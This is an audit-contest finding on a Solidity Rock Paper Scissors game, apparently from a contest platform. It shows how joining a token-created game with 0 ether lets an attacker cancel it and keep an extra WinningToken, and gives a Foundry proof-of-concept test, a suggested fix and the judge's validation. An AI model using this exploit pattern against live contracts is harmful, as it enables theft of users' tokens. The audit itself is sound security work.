Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Calling joinGameWithEth to join a game created by createGameWithToken allows anyone to steal WinningToken without payments

Summary

The game.bet of a game created by createGameWithToken is 0. Another player can join this game without any restrictions by joinGameWithEth with 0 ether of payment. The game can be cancelled then and returns funds (WinningToken) to players. The cancel operation assumes that the player has paid WinningToken. This allows anyone to steal WinningToken by controlling two accounts at the same time.

Impact

Users can steal WinningToken.

Proof Of Concept

forge test --mt testStealWinningToken -vvvv

function testStealWinningToken() public {
assertEq(playerA.balance, 10 ether);
assertEq(playerB.balance, 10 ether);
assertEq(token.balanceOf(playerA), 10);
assertEq(token.balanceOf(playerB), 10);
assertEq(token.balanceOf(address(game)), 0);
// playerA: create game with token
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
assertEq(token.balanceOf(playerA), 9);
assertEq(token.balanceOf(address(game)), 1);
// playerB: join game with 0 ether
vm.startPrank(playerB);
game.joinGameWithEth(gameId);
vm.stopPrank();
// playerA: cancel game
vm.startPrank(playerA);
game.cancelGame(gameId);
vm.stopPrank();
//
assertEq(playerA.balance, 10 ether);
assertEq(playerB.balance, 10 ether);
assertEq(token.balanceOf(playerA), 10);
// playerB gets extra 1 winningToken
assertEq(token.balanceOf(playerB), 11);
assertEq(token.balanceOf(address(game)), 1);
}

Tools Used

Manual Review

Recommendations

The game.bet must be greater than minBetwhen a user joins a game by joinGameWithEth.

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
// game.bet must be greater than minBet
require(game.bet >= minBet, "You join a wrong game!")
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.